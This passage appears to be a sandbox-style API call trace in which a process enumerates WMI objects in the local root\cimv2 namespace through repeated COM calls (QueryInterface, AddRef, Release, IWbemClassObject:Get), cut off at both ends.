lFlags=0, pVal=0x5e8e6f8*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x5e8e7ac*=0, plFlavor=0x5e8e7a8*=0 | out: pVal=0x5e8e6f8*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x2, varVal2=0x0), pType=0x5e8e7ac*=3, plFlavor=0x5e8e7a8*=64) returned 0x0 [0067.254] IWbemClassObject:Get (in: This=0x61025b8, wszName="__PATH", lFlags=0, pVal=0x5e8e6d8*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x5e8e790*=0, plFlavor=0x5e8e78c*=0 | out: pVal=0x5e8e6d8*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x5e8e790*=8, plFlavor=0x5e8e78c*=64) returned 0x0 [0067.254] IWbemClassObject:Get (in: This=0x61025b8, wszName="__RELPATH", lFlags=0, pVal=0x5e8e6d8*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x5e8e790*=8, plFlavor=0x5e8e78c*=64 | out: pVal=0x5e8e6d8*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x5e8e790*=8, plFlavor=0x5e8e78c*=64) returned 0x0 [0067.254] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x60fcaa8, puCount=0x5e8e764 | out: puCount=0x5e8e764*=0x2) returned 0x0 [0067.254] WbemDefPath:IWbemPath:GetText (in: This=0x60fcaa8, lFlags=4, puBuffLength=0x5e8e760*=0x0, pszText=0x0 | out: puBuffLength=0x5e8e760*=0x17, pszText=0x0) returned 0x0 [0067.254] WbemDefPath:IWbemPath:GetText (in: This=0x60fcaa8, lFlags=4, puBuffLength=0x5e8e760*=0x17, pszText="0000000000000000000000" | out: puBuffLength=0x5e8e760*=0x17, pszText="\\\\localhost\\root\\cimv2") returned 0x0 [0067.254] CoGetContextToken (in: pToken=0x5e8e4ec | out: pToken=0x5e8e4ec) returned 0x0 [0067.254] IUnknown:AddRef (This=0x60fd634) returned 0x3 [0067.254] IEnumWbemClassObject:Next (in: This=0x60fd634, lTimeout=-1, uCount=0x1, apObjects=0x406f78, puReturned=0x2e27944 | out: apObjects=0x406f78*=0x6102750, puReturned=0x2e27944*=0x1) returned 0x0 [0067.255] IUnknown:QueryInterface (in: This=0x6102750, riid=0x74a47714*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5e8daf8 | out: ppvObject=0x5e8daf8*=0x6102750) returned 0x0 [0067.255] IUnknown:QueryInterface (in: This=0x6102750, riid=0x74a64204*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x5e8dab4 | out: ppvObject=0x5e8dab4*=0x0) returned 0x80004002 [0067.255] IUnknown:QueryInterface (in: This=0x6102750, riid=0x74990b9c*(Data1=0xb196b283, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x5e8d9a8 | out: ppvObject=0x5e8d9a8*=0x0) returned 0x80004002 [0067.255] IUnknown:AddRef (This=0x6102750) returned 0x3 [0067.255] CoGetContextToken (in: pToken=0x5e8d940 | out: pToken=0x5e8d940) returned 0x0 [0067.255] IUnknown:QueryInterface (in: This=0x6102750, riid=0x749423cc*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5e8d928 | out: ppvObject=0x5e8d928*=0x6102754) returned 0x0 [0067.255] IMarshal:GetUnmarshalClass (in: This=0x6102754, riid=0x74a47714*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x5e8d930 | out: pCid=0x5e8d930*(Data1=0x4590f812, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24))) returned 0x0 [0067.255] IUnknown:Release (This=0x6102754) returned 0x3 [0067.255] CoGetContextToken (in: pToken=0x5e8d938 | out: pToken=0x5e8d938) returned 0x0 [0067.255] IUnknown:AddRef (This=0x6102750) returned 0x4 [0067.255] IUnknown:QueryInterface (in: This=0x6102750, riid=0x7499767c*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5e8d9ac | out: ppvObject=0x5e8d9ac*=0x0) returned 0x80004002 [0067.255] IUnknown:Release (This=0x6102750) returned 0x3 [0067.256] IUnknown:Release (This=0x6102750) returned 0x2 [0067.256] CoGetContextToken (in: pToken=0x5e8dd98 | out: pToken=0x5e8dd98) returned 0x0 [0067.256] CoGetContextToken (in: pToken=0x5e8dd58 | out: pToken=0x5e8dd58) returned 0x0 [0067.256] IUnknown:AddRef (This=0x6102750) returned 0x3 [0067.256] IUnknown:QueryInterface (in: This=0x6102750, riid=0x5e8ddd4*(Data1=0xdc12a681, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppvObject=0x5e8ddd0 | out: ppvObject=0x5e8ddd0*=0x6102750) returned 0x0 [0067.256] IUnknown:Release (This=0x6102750) returned 0x3 [0067.256] IUnknown:Release (This=0x6102750) returned 0x2 [0067.256] IUnknown:Release (This=0x6102750) returned 0x1 [0067.256] IUnknown:Release (This=0x60fd634) returned 0x2 [0067.256] CoGetContextToken (in: pToken=0x5e8e67c | out: pToken=0x5e8e67c) returned 0x0 [0067.256] IUnknown:AddRef (This=0x6102750) returned 0x2 [0067.256] IWbemClassObject:Get (in: This=0x6102750, wszName="__GENUS", lFlags=0, pVal=0x5e8e6f8*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x5e8e7ac*=0, plFlavor=0x5e8e7a8*=0 | out: pVal=0x5e8e6f8*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x2, varVal2=0x0), pType=0x5e8e7ac*=3, plFlavor=0x5e8e7a8*=64) returned 0x0 [0067.256] IWbemClassObject:Get (in: This=0x6102750, wszName="__PATH", lFlags=0, pVal=0x5e8e6d8*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x5e8e790*=0, plFlavor=0x5e8e78c*=0 | out: pVal=0x5e8e6d8*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x5e8e790*=8, plFlavor=0x5e8e78c*=64) returned 0x0 [0067.256] IWbemClassObject:Get (in: This=0x6102750, wszName="__RELPATH", lFlags=0, pVal=0x5e8e6d8*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x5e8e790*=8, plFlavor=0x5e8e78c*=64 | out: pVal=0x5e8e6d8*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x5e8e790*=8, plFlavor=0x5e8e78c*=64) returned 0x0 [0067.257] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x60fcaa8, puCount=0x5e8e764 | out: puCount=0x5e8e764*=0x2) returned 0x0 [0067.257] WbemDefPath:IWbemPath:GetText (in: This=0x60fcaa8, lFlags=4, puBuffLength=0x5e8e760*=0x0, pszText=0x0 | out: puBuffLength=0x5e8e760*=0x17, pszText=0x0) returned 0x0 [0067.257] WbemDefPath:IWbemPath:GetText (in: This=0x60fcaa8, lFlags=4, puBuffLength=0x5e8e760*=0x17, pszText="0000000000000000000000" | out: puBuffLength=0x5e8e760*=0x17, pszText="\\\\localhost\\root\\cimv2") returned 0x0 [0067.257] CoGetContextToken (in: pToken=0x5e8e4ec | out: pToken=0x5e8e4ec) returned 0x0 [0067.257] IUnknown:AddRef (This=0x60fd634) returned 0x3 [0067.257] IEnumWbemClassObject:Next (in: This=0x60fd634, lTimeout=-1, uCount=0x1, apObjects=0x406f78, puReturned=0x2e27944 | out: apObjects=0x406f78*=0x61028e8, puReturned=0x2e27944*=0x1) returned 0x0 [0067.258] IUnknown:QueryInterface (in: This=0x61028e8, riid=0x74a47714*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5e8daf8 | out: ppvObject=0x5e8daf8*=0x61028e8) returned 0x0 [0067.258] IUnknown:QueryInterface (in: This=0x61028e8, riid=0x74a64204*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x5e8dab4 | out: ppvObject=0x5e8dab4*=0x0) returned 0x80004002 [0067.258] IUnknown:QueryInterface (in: This=0x61028e8, riid=0x74990b9c*(Data1=0xb196b283, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x5e8d9a8 | out: ppvObject=0x5e8d9a8*=0x0) returned 0x80004002 [0067.258] IUnknown:AddRef (This=0x61028e8) returned 0x3 [0067.258] CoGetContextToken (in: pToken=0x5e8d940 | out: pToken=0x5e8d940) returned 0x0 [0067.258] IUnknown:QueryInterface (in: This=0x61028e8, riid=0x749423cc*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5e8d928 | out: ppvObject=0x5e8d928*=0x61028ec) returned 0x0 [0067.258] IMarshal:GetUnmarshalClass (in: This=0x61028ec, riid=0x74a47714*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x5e8d930 | out: pCid=0x5e8d930*(Data1=0x4590f812, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24))) returned 0x0 [0067.258] IUnknown:Release (This=0x61028ec) returned 0x3 [0067.258] CoGetContextToken (in: pToken=0x5e8d938 | out: pToken=0x5e8d938) returned 0x0 [0067.258] IUnknown:AddRef (This=0x61028e8) returned 0x4 [0067.258] IUnknown:QueryInterface (in: This=0x61028e8, riid=0x7499767c*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5e8d9ac | out: ppvObject=0x5e8d9ac*=0x0) returned 0x80004002 [0067.258] IUnknown:Release (This=0x61028e8) returned 0x3 [0067.258] IUnknown:Release (This=0x61028e8) returned 0x2 [0067.258] CoGetContextToken (in: pToken=0x5e8dd98 | out: pToken=0x5e8dd98) returned 0x0 [0067.258] CoGetContextToken (in: pToken=0x5e8dd58 | out: pToken=0x5e8dd58) returned 0x0 [0067.258] IUnknown:AddRef (This=0x61028e8) returned 0x3 [0067.258] IUnknown:QueryInterface (in: This=0x61028e8, riid=0x5e8ddd4*(Data1=0xdc12a681, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppvObject=0x5e8ddd0 | out: ppvObject=0x5e8ddd0*=0x61028e8) returned 0x0 [0067.258] IUnknown:Release (This=0x61028e8) returned 0x3 [0067.258] IUnknown:Release (This=0x61028e8) returned 0x2 [0067.259] IUnknown:Release (This=0x61028e8) returned 0x1 [0067.259] IUnknown:Release (This=0x60fd634) returned 0x2 [0067.259] CoGetContextToken (in: pToken=0x5e8e67c | out: pToken=0x5e8e67c) returned 0x0 [0067.259] IUnknown:AddRef (This=0x61028e8) returned 0x2 [0067.259] IWbemClassObject:Get (in: This=0x61028e8, wszName="__GENUS", lFlags=0, pVal=0x5e8e6f8*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x5e8e7ac*=0, plFlavor=0x5e8e7a8*=0 | out: pVal=0x5e8e6f8*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x2, varVal2=0x0), pType=0x5e8e7ac*=3, plFlavor=0x5e8e7a8*=64) returned 0x0 [0067.259] IWbemClassObject:Get (in: This=0x61028e8, wszName="__PATH", lFlags=0, pVal=0x5e8e6d8*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x5e8e790*=0, plFlavor=0x5e8e78c*=0 | out: pVal=0x5e8e6d8*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x5e8e790*=8, plFlavor=0x5e8e78c*=64) returned 0x0 [0067.259] IWbemClassObject:Get (in: This=0x61028e8, wszName="__RELPATH", lFlags=0, pVal=0x5e8e6d8*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x5e8e790*=8, plFlavor=0x5e8e78c*=64 | out: pVal=0x5e8e6d8*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x5e8e790*=8, plFlavor=0x5e8e78c*=64) returned 0x0 [0067.259] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x60fcaa8, puCount=0x5e8e764 | out: puCount=0x5e8e764*=0x2) returned 0x0 [0067.259] WbemDefPath:IWbemPath:GetText (in: This=0x60fcaa8, lFlags=4, puBuffLength=0x5e8e760*=0x0, pszText=0x0 | out: puBuffLength=0x5e8e760*=0x17, pszText=0x0) returned 0x0 [0067.259] WbemDefPath:IWbemPath:GetText (in: This=0x60fcaa8, lFlags=4, puBuffLength=0x5e8e760*=0x17, pszText="0000000000000000000000" | out: puBuffLength=0x5e8e760*=0x17, pszText="\\\\localhost\\root\\cimv2") returned 0x0 [0067.259] CoGetContextToken (in: pToken=0x5e8e4ec | out: pToken=0x5e8e4ec) returned 0x0 [0067.259] IUnknown:AddRef (This=0x60fd634) returned 0x3 [0067.259] IEnumWbemClassObject:Next (in: This=0x60fd634, lTimeout=-1, uCount=0x1, apObjects=0x406f78, puReturned=0x2e27944 | out: apObjects=0x406f78*=0x6102a80, puReturned=0x2e27944*=0x1) returned 0x0 [0067.260] IUnknown:QueryInterface (in: This=0x6102a80, riid=0x74a47714*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5e8daf8 | out: ppvObject=0x5e8daf8*=0x6102a80) returned 0x0 [0067.260] IUnknown:QueryInterface (in: This=0x6102a80, riid=0x74a64204*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x5e8dab4 | out: ppvObject=0x5e8dab4*=0x0) returned 0x80004002 [0067.260] IUnknown:QueryInterface (in: This=0x6102a80, riid=0x74990b9c*(Data1=0xb196b283, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x5e8d9a8 | out: ppvObject=0x5e8d9a8*=0x0) returned 0x80004002 [0067.260] IUnknown:AddRef (This=0x6102a80) returned 0x3 [0067.260] CoGetContextToken (in: pToken=0x5e8d940 | out: pToken=0x5e8d940) returned 0x0 [0067.260] IUnknown:QueryInterface (in: This=0x6102a80, riid=0x749423cc*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5e8d928 | out: ppvObject=0x5e8d928*=0x6102a84) returned 0x0 [0067.261] IMarshal:GetUnmarshalClass (in: This=0x6102a84, riid=0x74a47714*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x5e8d930 | out: pCid=0x5e8d930*(Data1=0x4590f812, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24))) returned 0x0 [0067.261] IUnknown:Release (This=0x6102a84) returned 0x3 [0067.261] CoGetContextToken (in: pToken=0x5e8d938 | out: pToken=0x5e8d938) returned 0x0 [0067.261] IUnknown:AddRef (This=0x6102a80) returned 0x4 [0067.261] IUnknown:QueryInterface (in: This=0x6102a80, riid=0x7499767c*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5e8d9ac | out: ppvObject=0x5e8d9ac*=0x0) returned 0x80004002 [0067.261] IUnknown:Release (This=0x6102a80) returned 0x3 [0067.261] IUnknown:Release (This=0x6102a80) returned 0x2 [0067.261] CoGetContextToken (in: pToken=0x5e8dd98 | out: pToken=0x5e8dd98) returned 0x0 [0067.261] CoGetContextToken (in: pToken=0x5e8dd58 | out: pToken=0x5e8dd58) returned 0x0 [0067.261] IUnknown:AddRef (This=0x6102a80) returned 0x3 [0067.261] IUnknown:QueryInterface (in: This=0x6102a80, riid=0x5e8ddd4*(Data1=0xdc12a681, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppvObject=0x5e8ddd0 | out: ppvObject=0x5e8ddd0*=0x6102a80) returned 0x0 [0067.261] IUnknown:Release (This=0x6102a80) returned 0x3 [0067.261] IUnknown:Release (This=0x6102a80) returned 0x2 [0067.261] IUnknown:Release (This=0x6102a80) returned 0x1 [0067.261] IUnknown:Release (This=0x60fd634) returned 0x2 [0067.261] CoGetContextToken (in: pToken=0x5e8e67c | out: pToken=0x5e8e67c) returned 0x0 [0067.261] IUnknown:AddRef (This=0x6102a80) returned 0x2 [0067.261] IWbemClassObject:Get (in: This=0x6102a80, wszName="__GENUS", lFlags=0, pVal=0x5e8e6f8*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x5e8e7ac*=0, plFlavor=0x5e8e7a8*=0 | out: pVal=0x5e8e6f8*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x2, varVal2=0x0), pType=0x5e8e7ac*=3, plFlavor=0x5e8e7a8*=64) returned 0x0 [0067.262] IWbemClassObject:Get (in: This=0x6102a80, wszName="__PATH", lFlags=0, pVal=0x5e8e6d8*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x5e8e790*=0, plFlavor=0x5e8e78c*=0 | out: pVal=0x5e8e6d8*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x5e8e790*=8, plFlavor=0x5e8e78c*=64) returned 0x0 [0067.262] IWbemClassObject:Get (in: This=0x6102a80, wszName="__RELPATH", lFlags=0, pVal=0x5e8e6d8*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x5e8e790*=8, plFlavor=0x5e8e78c*=64 | out: pVal=0x5e8e6d8*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x5e8e790*=8, plFlavor=0x5e8e78c*=64) returned 0x0 [0067.262] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x60fcaa8, puCount=0x5e8e764 | out: puCount=0x5e8e764*=0x2) returned 0x0 [0067.262] WbemDefPath:IWbemPath:GetText (in: This=0x60fcaa8, lFlags=4, puBuffLength=0x5e8e760*=0x0, pszText=0x0 | out: puBuffLength=0x5e8e760*=0x17, pszText=0x0) returned 0x0 [0067.262] WbemDefPath:IWbemPath:GetText (in: This=0x60fcaa8, lFlags=4, puBuffLength=0x5e8e760*=0x17, pszText="0000000000000000000000" | out: puBuffLength=0x5e8e760*=0x17, pszText="\\\\localhost\\root\\cimv2") returned 0x0 [0067.262] CoGetContextToken (in: pToken=0x5e8e4ec | out: pToken=0x5e8e4ec) returned 0x0 [0067.262] IUnknown:AddRef (This=0x60fd634) returned 0x3 [0067.262] IEnumWbemClassObject:Next (in: This=0x60fd634, lTimeout=-1, uCount=0x1, apObjects=0x406f78, puReturned=0x2e27944 | out: apObjects=0x406f78*=0x6102c18, puReturned=0x2e27944*=0x1) returned 0x0 [0067.263] IUnknown:QueryInterface (in: This=0x6102c18, riid=0x74a47714*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5e8daf8 | out: ppvObject=0x5e8daf8*=0x6102c18) returned 0x0 [0067.263] IUnknown:QueryInterface (in: This=0x6102c18, riid=0x74a64204*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x5e8dab4 | out: ppvObject=0x5e8dab4*=0x0) returned 0x80004002 [0067.263] IUnknown:QueryInterface (in: This=0x6102c18, riid=0x74990b9c*(Data1=0xb196b283, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x5e8d9a8 | out: ppvObject=0x5e8d9a8*=0x0) returned 0x80004002 [0067.263] IUnknown:AddRef (This=0x6102c18) returned 0x3 [0067.263] CoGetContextToken (in: pToken=0x5e8d940 | out: pToken=0x5e8d940) returned 0x0 [0067.263] IUnknown:QueryInterface (in: This=0x6102c18, riid=0x749423cc*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5e8d928 | out: ppvObject=0x5e8d928*=0x6102c1c) returned 0x0 [0067.263] IMarshal:GetUnmarshalClass (in: This=0x6102c1c, riid=0x74a47714*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x5e8d930 | out: pCid=0x5e8d930*(Data1=0x4590f812, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24))) returned 0x0 [0067.263] IUnknown:Release (This=0x6102c1c) returned 0x3 [0067.263] CoGetContextToken (in: pToken=0x5e8d938 | out: pToken=0x5e8d938) returned 0x0 [0067.263] IUnknown:AddRef (This=0x6102c18) returned 0x4 [0067.263] IUnknown:QueryInterface (in: This=0x6102c18, riid=0x7499767c*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5e8d9ac | out: ppvObject=0x5e8d9ac*=0x0) returned 0x80004002 [0067.263] IUnknown:Release (This=0x6102c18) returned 0x3 [0067.263] IUnknown:Release (This=0x6102c18) returned 0x2 [0067.263] CoGetContextToken (in: pToken=0x5e8dd98 | out: pToken=0x5e8dd98) returned 0x0 [0067.263] CoGetContextToken (in: pToken=0x5e8dd58 | out: pToken=0x5e8dd58) returned 0x0 [0067.264] IUnknown:AddRef (This=0x6102c18) returned 0x3 [0067.264] IUnknown:QueryInterface (in: This=0x6102c18, riid=0x5e8ddd4*(Data1=0xdc12a681, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppvObject=0x5e8ddd0 | out: ppvObject=0x5e8ddd0*=0x6102c18) returned 0x0 [0067.264] IUnknown:Release (This=0x6102c18) returned 0x3 [0067.264] IUnknown:Release (This=0x6102c18) returned 0x2 [0067.264] IUnknown:Release (This=0x6102c18) returned 0x1 [0067.264] IUnknown:Release (This=0x60fd634) returned 0x2 [0067.264] CoGetContextToken (in: pToken=0x5e8e67c | out: pToken=0x5e8e67c) returned 0x0 [0067.264] IUnknown:AddRef (This=0x6102c18) returned 0x2 [0067.264] IWbemClassObject:Get (in: This=0x6102c18, wszName="__GENUS", lFlags=0, pVal=0x5e8e6f8*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x5e8e7ac*=0, plFlavor=0x5e8e7a8*=0 | out: pVal=0x5e8e6f8*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x2, varVal2=0x0), pType=0x5e8e7ac*=3, plFlavor=0x5e8e7a8*=64) returned 0x0 [0067.264] IWbemClassObject:Get (in: This=0x6102c18, wszName="__PATH", lFlags=0, pVal=0x5e8e6d8*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x5e8e790*=0, plFlavor=0x5e8e78c*=0 | out: pVal=0x5e8e6d8*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x5e8e790*=8, plFlavor=0x5e8e78c*=64) returned 0x0 [0067.264] IWbemClassObject:Get (in: This=0x6102c18, wszName="__RELPATH", lFlags=0, pVal=0x5e8e6d8*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x5e8e790*=8, plFlavor=0x5e8e78c*=64 | out: pVal=0x5e8e6d8*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x5e8e790*=8, plFlavor=0x5e8e78c*=64) returned 0x0 [0067.264] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x60fcaa8, puCount=0x5e8e764 | out: puCount=0x5e8e764*=0x2) returned 0x0 [0067.264] WbemDefPath:IWbemPath:GetText (in: This=0x60fcaa8, lFlags=4, puBuffLength=0x5e8e760*=0x0, pszText=0x0 | out: puBuffLength=0x5e8e760*=0x17, pszText=0x0) returned 0x0 [0067.264] WbemDefPath:IWbemPath:GetText (in: This=0x60fcaa8, lFlags=4, puBuffLength=0x5e8e760*=0x17, pszText="0000000000000000000000" | out: puBuffLength=0x5e8e760*=0x17, pszText="\\\\localhost\\root\\cimv2") returned 0x0 [0067.265] CoGetContextToken (in: pToken=0x5e8e4ec | out: pToken=0x5e8e4ec) returned 0x0 [0067.265] IUnknown:AddRef (This=0x60fd634) returned 0x3 [0067.265] IEnumWbemClassObject:Next (in: This=0x60fd634, lTimeout=-1, uCount=0x1, apObjects=0x406f78, puReturned=0x2e27944 | out: apObjects=0x406f78*=0x6102db0, puReturned=0x2e27944*=0x1) returned 0x0 [0067.265] IUnknown:QueryInterface (in: This=0x6102db0, riid=0x74a47714*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5e8daf8 | out: ppvObject=0x5e8daf8*=0x6102db0) returned 0x0 [0067.265] IUnknown:QueryInterface (in: This=0x6102db0, 